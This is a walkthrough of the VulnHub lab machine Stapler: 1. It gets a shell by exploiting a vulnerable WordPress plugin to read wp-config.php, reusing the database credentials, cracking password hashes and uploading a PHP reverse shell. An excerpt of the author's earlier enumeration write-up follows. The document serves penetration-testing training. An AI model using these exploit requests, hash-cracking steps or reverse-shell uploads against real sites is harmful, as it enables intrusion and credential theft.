Write-up for Stapler: 1 – A Different Path


This post is an addendum to my recent article on the Write-up for Stapler: 1. In the original post, I gained a low privilege shell using credentials which I obtained through SMB enumeration.

Remember I mentioned that I have not looked into port 3306 and 12380 yet and will look into them when I have some time? And I did — over the last weekend 🙂

Once again, the short intro: Stapler: 1 is a vulnerable machine created by g0tmi1k and downloadable for free on VulnHub. It is a very good practice machine if you are pursuing the OSCP certification. (read about my OSCP journey).

Enumeration on port 3306

The following was discovered through the initial nmap scan:

3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1

Let’s try to connect to the service using netcat:

nc 3306

It looks weird though. Let’s leave it at where it is for now.

Enumeration on port 12380

This could potentially be one of the most interesting lead on the list since it is a custom HTTP server hosted on a non-common port.

12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))


This is pretty interesting. Since the website is currently still unfinished, it should have left some bad implementation somewhere.

Checked the page source, nothing interesting except for the message that mentioned the name of the HR person, Zoe:

<!– A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! –>

Since I already got all the potential usernames through SMB service, this piece of name is as useful, but definitely, note it down and move on.

Let’s run dirb on this web application:

DIRB v2.22
By The Dark Raver
START_TIME: Sun Dec 17 18:12:10 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
—- Scanning URL: —-
END_TIME: Sun Dec 17 18:14:27 2017

Surprisingly, there was nothing found.

Now, let’s run nikto on it as well:

+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ Entry ‘/admin112233/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry ‘/blogblog/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ “robots.txt” contains 2 entries which should be manually viewed.
+ Hostname ‘’ does not match certificate’s names: Red.Initech
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found

Looks like we found something interesting now 🙂


The scan result is very useful. Now it is time to manually verify these sites:

  • /admin112233
  • /blogblog
  • /phpmyadmin

Note: we need to visit these websites via HTTPS protocol, or you will get redirected and will not be able to see the content 🙂

​​​robots.txt is showing some interesting results! —


PhpMyAdmin login console is exposed! —


So, apparently /admin112233 is meant to educate people and let them know about the possibility of being lured into a honeypot (such as this page) and get “hacked back” in return. Nice one! —


WordPress blog! This definitely the one which we saw earlier in the SMB share drive’s backup folder —


After checking out the blog posts and taking the hints, let’s run wpscan to check out the installed plugins:

wpscan –url –disable-tls-checks
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                       Version 2.9.2
          Sponsored by Sucuri – https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
[+] Started: Sun Dec 17 18:36:58 2017
[!] The WordPress ‘’; file exists exposing a version number
[+] Interesting header: DAVE: Soemthing doesn’t look right here
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under:
[!] Upload directory has directory listing enabled:
[!] Includes directory has directory listing enabled:
[+] WordPress version 4.2.1 (Released on 2015-04-27) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 49 vulnerabilities identified from the version number
[!] Title: WordPress 4.1-4.2.1 – Unauthenticated Genericons Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.2
[!] Title: WordPress <= 4.2.2 – Authenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.3
[!] Title: WordPress <= 4.2.3 – wp_untrash_post_comments SQL Injection
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Timing Side Channel Attack
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Widgets Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Nav Menu Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Legacy Theme Preview Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.3 – Authenticated Shortcode Tags Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – User List Table Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – Publish Post & Mark as Sticky Permission Issue
[i] Fixed in: 4.2.5
[!] Title: WordPress  3.7-4.4 – Authenticated Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.6
[!] Title: WordPress 3.7-4.4.1 – Local URIs Server Side Request Forgery (SSRF)
[i] Fixed in: 4.2.7
[!] Title: WordPress 3.7-4.4.1 – Open Redirect
[i] Fixed in: 4.2.7
[!] Title: WordPress <= 4.4.2 – SSRF Bypass using Octal & Hexedecimal IP addresses
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Reflected XSS in Network Settings
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Script Compression Option CSRF
[i] Fixed in: 4.5
[!] Title: WordPress 4.2-4.5.1 – MediaElement.js Reflected Cross-Site Scripting (XSS)
[i] Fixed in: 4.5.2
[!] Title: WordPress <= 4.5.1 – Pupload Same Origin Method Execution (SOME)
[i] Fixed in: 4.2.8
[!] Title: WordPress 4.2-4.5.2 – Authenticated Attachment Name Stored XSS
[i] Fixed in: 4.2.9
[!] Title: WordPress 3.6-4.5.2 – Authenticated Revision History Information Disclosure
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.6.0-4.5.2 – Unauthorized Category Removal from Post
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.5-4.6 – Authenticated Stored Cross-Site Scripting via Image Filename
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.8-4.6 – Path Traversal in Upgrade Package Uploader
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.9-4.7 – Authenticated Cross-Site scripting (XSS) in update-core.php
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.4-4.7 – Stored Cross-Site Scripting (XSS) via Theme Name fallback
[i] Fixed in: 4.2.11
[!] Title: WordPress <= 4.7 – Post via Email Checks mail.example.com by Default
[i] Fixed in: 4.2.11
[!] Title: WordPress 2.8-4.7 – Accessibility Mode Cross-Site Request Forgery (CSRF)
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.0-4.7 – Cryptographically Weak Pseudo-Random Number Generator (PRNG)
[i] Fixed in: 4.2.11
[!] Title: WordPress 4.2.0-4.7.1 – Press This UI Available to Unauthorised Users
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.5-4.7.1 – WP_Query SQL Injection
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.6.0-4.7.2 – Authenticated Cross-Site Scripting (XSS) via Media File Metadata
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.8.1-4.7.2 – Control Characters in Redirect URL Validation
[i] Fixed in: 4.2.13
[!] Title: WordPress  4.0-4.7.2 – Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
[i] Fixed in: 4.2.13
[!] Title: WordPress 4.2-4.7.2 – Press This CSRF DoS
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.3-4.8.3 – Host Header Injection in Password Reset
[!] Title: WordPress 2.7.0-4.7.4 – Insufficient Redirect Validation
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Post Meta Data Values Improper Handling in XML-RPC
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – XML-RPC Post Meta Data Lack of Capability Checks
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Filesystem Credentials Dialog CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.3-4.7.4 – Large File Upload Error XSS
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – Customizer XSS & CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.3.0-4.8.1 – $wpdb->prepare() potential SQL Injection
[i] Fixed in: 4.2.16
[!] Title: WordPress 2.3.0-4.7.4 – Authenticated SQL injection
[i] Fixed in: 4.7.5
[!] Title: WordPress 2.9.2-4.8.1 – Open Redirect
[i] Fixed in: 4.2.16
[!] Title: WordPress 3.0-4.8.1 – Path Traversal in Unzipping
[i] Fixed in: 4.2.16
[!] Title: WordPress <= 4.8.2 – $wpdb->prepare() Weakness
[i] Fixed in: 4.2.17
[!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
[i] Fixed in: 4.2.18
[!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
[i] Fixed in: 4.2.18
[!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
[i] Fixed in: 4.2.18
[+] WordPress theme in use: bhost – v1.2.9
[+] Name: bhost – v1.2.9
[!] The version is out of date, the latest version is 1.3.9
|  Theme Name: BHost
|  Theme URI: Author: Masum Billah
|  Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This the…
|  Author: Masum Billah
|  Author URI: http://getmasum.net/
[+] Enumerating plugins from passive detection …
[+] No plugins found

Noticed anything strange? Yes, while there were 49 vulnerabilities identified in total, the output says “No plugins found”. How is that possible? The blog posts already stated that they have installed some new plugins!

Truth to be told, this is the ideal example of what it means when people tell you not to blindly rely on tools.

Let’s specifically run only the plugins enumeration function:

wpscan –url –disable-tls-checks –enumerate p
[+] Enumerating installed plugins (only ones marked as popular) …
   Time: 00:00:06 <=========================> (1411 / 1411) 100.00% Time: 00:00:06
[+] We found 2 plugins:
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3

2 plugins found! This looks much better. What about users?

wpscan –url –disable-tls-checks –enumerate u
[+] Enumerating usernames …
[+] Identified the following 10 user/s:
    | Id | Login   | Name            |
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |

A better visualisation of the table:


Use the following command to do a very thorough plugin scan – it may take some time — it took me around 12 minutes to finish the scan. But the result is worth the wait!

wpscan –url –disable-tls-checks –enumerate ap
[+] Enumerating all plugins (may take a while and use a lot of system resources) …
   Time: 00:11:58 <=======================> (71551 / 71551) 100.00% Time: 00:11:58
[+] We found 4 plugins:
[+] Name: advanced-video-embed-embed-videos-or-playlists – v1.0
|  Latest version: 1.0 (up to date)
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3
[+] Name: two-factor
|  Latest version: 0.1-dev-20171206

Nice, there were 4 vulnerable plugins found!

Now, we check whether there is any public exploit available on exploit-db.com


Great! Next, we copy the file to our local directory for analysis.

cp /usr/share/exploitdb/platforms/php/webapps/39646.py .
ls -l 39646.py
-rwxr-xr-x 1 root root 1772 May 14 22:58 39646.py

After a quick look at the exploit, it is clear that it will basically print the content of wp-config.php, which is the default configuration file of WordPress).

Not many modification were required, just insert the correct URL:

url = “” # insert url to wordpress

However, running the exploit would run into error:

python 39646.py
Traceback (most recent call last):
  File “39646.py”, line 41, in <module>
    objHtml = urllib2.urlopen(url + ‘/wp-admin/admin-ajax.php?action=ave_publishPost&title=’ + str(randomID) + ‘&short=rnd&term=rnd&thumb=../wp-config.php’)
  File “/usr/lib/python2.7/urllib2.py”, line 154, in urlopen
    return opener.open(url, data, timeout)
  File “/usr/lib/python2.7/urllib2.py”, line 429, in open
    response = self._open(req, data)
  File “/usr/lib/python2.7/urllib2.py”, line 447, in _open
    ‘_open’, req)
  File “/usr/lib/python2.7/urllib2.py”, line 407, in _call_chain
    result = func(*args)
  File “/usr/lib/python2.7/urllib2.py”, line 1241, in https_open
  File “/usr/lib/python2.7/urllib2.py”, line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>

After some quick research, I have managed to find a simple patch to this issue on a Stack Overflow thread: http://stackoverflow.com/questions/27835619/ssl-certificate-verify-failed-error

Simply make a small modification to add the following:

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

The following is the full modified exploit that you can run, just need to replace your own WordPress instance on line 40:


Let’s run the exploit again:

python 39646.py
wget –no-check-certificate
–2017-05-14 23:18:38–
Connecting to… connected.
WARNING: The certificate of ‘’ is not trusted.
WARNING: The certificate of ‘’ hasn’t got a known issuer.
The certificate’s owner does not match hostname ‘’
HTTP request sent, awaiting response… 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘1527501269.jpeg’
1527501269.jpeg                                   100%[============================================================================================================>]   2.97K  –.-KB/s    in 0s
2017-05-14 23:18:38 (78.4 MB/s) – ‘1527501269.jpeg’ saved [3042/3042]
Now, we check the JPG file that we have downloaded using the exploit:
ls -la 1527501269.jpeg
-rw-r–r– 1 root root 3042 May 14 23:15 1527501269.jpeg

Now we check the type of the JPG file using file:

file 1527501269.jpeg
1527501269.jpeg: PHP script, ASCII text

PHP script! Cool. Now we read its content:

cat 1527501269.jpeg
* The base configurations of the WordPress.
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* Codex page. You can get the MySQL settings from your web host.
* This file is used by the wp-config.php creation script during the
* installation. You don’t have to use the web site, you can just copy this file
* to “wp-config.php” and fill in the values.
* @package WordPress
// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘wordpress’);
/** MySQL database username */
define(‘DB_USER’, ‘root’);
/** MySQL database password */
define(‘DB_PASSWORD’, ‘plbkac’);
/** MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
/** Database Charset to use in creating database tables. */
define(‘DB_CHARSET’, ‘utf8mb4’);
/** The Database Collate type. Don’t change this if in doubt. */
define(‘DB_COLLATE’, ”);
* Authentication Unique Keys and Salts.
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
* @since 2.6.0
define(‘AUTH_KEY’,         ‘V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:’);
define(‘SECURE_AUTH_KEY’,  ‘vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2’);
define(‘LOGGED_IN_KEY’,    ‘ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;zu@tM7P:4o’);
define(‘NONCE_KEY’,        ‘j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO’);
define(‘AUTH_SALT’,        ‘I{gDlDs`Z@.+/AdyzYw4%+<WsO-LDBHT}>}!||Xrf@1E6jJNV={p1?yMKYec*OI$’);
define(‘SECURE_AUTH_SALT’, ‘.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D’);
define(‘LOGGED_IN_SALT’,   ‘[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;’);
define(‘NONCE_SALT’,       ‘tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ’);
* WordPress Database Table prefix.
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
$table_prefix  = ‘wp_’;
* For developers: WordPress debugging mode.
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
define(‘WP_DEBUG’, false);
/* That’s all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . ‘wp-settings.php’);
define(‘WP_HTTP_BLOCK_EXTERNAL’, true);

Now we have the credentials for MySQL!

mysql -uroot -pplbkac -h
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.7.12-0ubuntu1 (Ubuntu)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql> show databases;
| Database           |
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
8 rows in set (0.01 sec)
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
| Tables_in_wordpress   |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
11 rows in set (0.00 sec)

Check out the wp-users table:

Now we check the list of users stored in this table:

mysql> select user_login,user_pass from wp_users;
| user_login | user_pass                          |
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
16 rows in set (0.00 sec)
mysql> exit

Great, now we have a list of password hashes! Next is to crack the password using john:

john –show hashes.txt
11 password hashes cracked, 5 left

In this case, there is no need to wait for all the password hashes to be cracked because if you understand a WordPressapplication, usually the very first record in the user table is the admin account. In this case, the first record is John and we already have his password: incorrect

Using the following credentials, I was able to login to the WordPress application as an admin user:

username: john
password: incorrect

Next, go to Plugins and upload a Web Shell, such as the very famous Pentestmonkey’s PHP reverse shell which is also available on your Kali Linux machine by default at /usr/share/webshells/php/php-reverse-shell.php

Modify the ip and port parameters on line 49 and 50 and you are good to go.

Save it as reverse.php and upload it as a new Plugin.

Now, set up a netcat listener on the local port 4444 to catch the reverse shell from the Stapler machine.

nc -nlvp 4444
listening on [any] 4444 …

Now, visit to trigger the reverse shell connection.

Observe the changes below on your host machine:

nc -lvnp 4444
listening on [any] 443 …
connect to [] from (UNKNOWN) [] 36962
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux 16:08:13 up 1 day,  1:59,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can’t access tty; job control turned off
$ pwd
$ uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

With this, we have successfully gained entry using an alternative path of gaining low privilege shell through exploiting a vulnerable WordPress plugin to obtain its configuration file, obtained the SQL credentials to dump user password hashes, gain access to WordPress admin user account and uploaded a reverse shell.

I hope you enjoyed reading this write-up.

If you like this post, please check out my other similar write-ups as well:

Write-up for Stapler: 1

This is another write-up for a VulnHub machine, Stapler: 1. It’s a vulnerable machine created by g0tmi1k, a pretty famous person amongst folks who have completed their OSCP journey (read about my OSCP journey).

After downloading the machine, read the content of Stapler_readme.txt. It says that there are at least 2 different paths to getting a limited shell and at least 3 different ways to getting a root shell.


Well, this sounds pretty exciting. Let’s get started!

Host discovery

Use netdiscover to identify any host in my network:

$ ifconfig eth0 | grep -i 192.168.117

inet netmask broadcast

$ netdiscover -r

<REDACTED> 00:0c:29:3b:8b:40 1 60 Unknown vendor


Service discovery

nmap -sS -Pn -T4 -p-
21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    open   domain
80/tcp    open   http
139/tcp   open   netbios-ssn
666/tcp   open   doom
3306/tcp  open   mysql
12380/tcp open   unknown

That is quite a number of services!

Now, to get their exact version number, we run the following:

nmap -Pn -T4 -O -A -p21,22,53,80,139,666,3306,12380
21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can’t get directory listing: Can’t parse PASV response: “Permission denied.”
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
53/tcp    open  domain      dnsmasq 2.75
| dns-nsid:
|_  bind.version: dnsmasq-2.75
80/tcp    open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom?
| fingerprint-strings:
|   NULL:
|     message2.jpgUT
|     QWux
|     “DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 7
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, SupportsTransactions, FoundRows, Speaks41ProtocolOld, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, LongPassword, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: (oXs@{!TtsP]+[KN\x17\x0F~q
|_  Auth Plugin Name: 88
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
Device type: general purposeRunning: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 – 4.8, Linux 3.16 – 4.6, Linux 3.2 – 4.8
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 7h59m23s, deviation: 0s, median: 7h59m23s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2017-12-17T15:33:08+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Just looking at the output, I can already see several ways to gain a foothold into the target server.

Please note that this write-up may not cover ALL the possible ways to gaining root on this box. However, I strongly encourage you to try to find all possible ways for the sake of learning.

Enumeration on port 80

Let’s look at port 80:

80/tcp open http PHP cli server 5.5 or later


Seems like nothing is there. Run directory buster and see if there are any low hanging fruits.

—- Scanning URL: —-
+ (CODE:200|SIZE:3771)
+ (CODE:200|SIZE:675)

Download both files to see their content:

After reviewing their content, I can conclude that there isn’t anything interesting there.

Enumeration on port 666

666/tcp open doom?

Now, let’s connect to port 666 to see what it is:


Wow. Just. Wow. What was this? Although there was a message2.jpg being mentioned at the start of its content, it was confirmed that this is not an image. Let’s not dwell too long on this.

Enumeration on port 139

139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

When I see SMB service running on a Linux box, I will run enum4linux to check things out:

enum4linux -a
|    Session Check on    |
[+] Server allows sessions using username ”, password ”
|    OS information on    |
[+] Got OS info for from srvinfo:
    RED            Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)
    platform_id     :    500
    os version      :    6.1
    server type     :    0x809a03
|    Share Enumeration on    |
WARNING: The “syslog” option is deprecated
    Sharename       Type      Comment
    ———       —-      ——-
    print$          Disk      Printer Drivers
    kathy           Disk      Fred, What are we doing here?
    tmp             Disk      All temporary files should be stored here
    IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
    Server               Comment
    ———            ——-
    Workgroup            Master
    ———            ——-
    WORKGROUP            RED
[+] Attempting to map shares on
//$    Mapping: DENIED, Listing: N/A
//    Mapping: OK, Listing: OK
//    Mapping: OK, Listing: OK
//$    Mapping: OK    Listing: DENIED
|    Users on via RID cycling (RIDS: 500-550,1000-1050)    |
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-864226560-67800430-3082388513
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username ”, password ”
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username ”, password ”
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)
[+] Enumerating users using SID S-1-22-1 and logon username ”, password ”
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

Well, that is a lot of information!

First, let’s store the list of possible usernames identified using SID S-1-22-1 and login username ”, password ” — the last part of the above output. There may be a situation when you need to use them to brute force attack some service, such as ssh.

$ cat userlist.txt
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
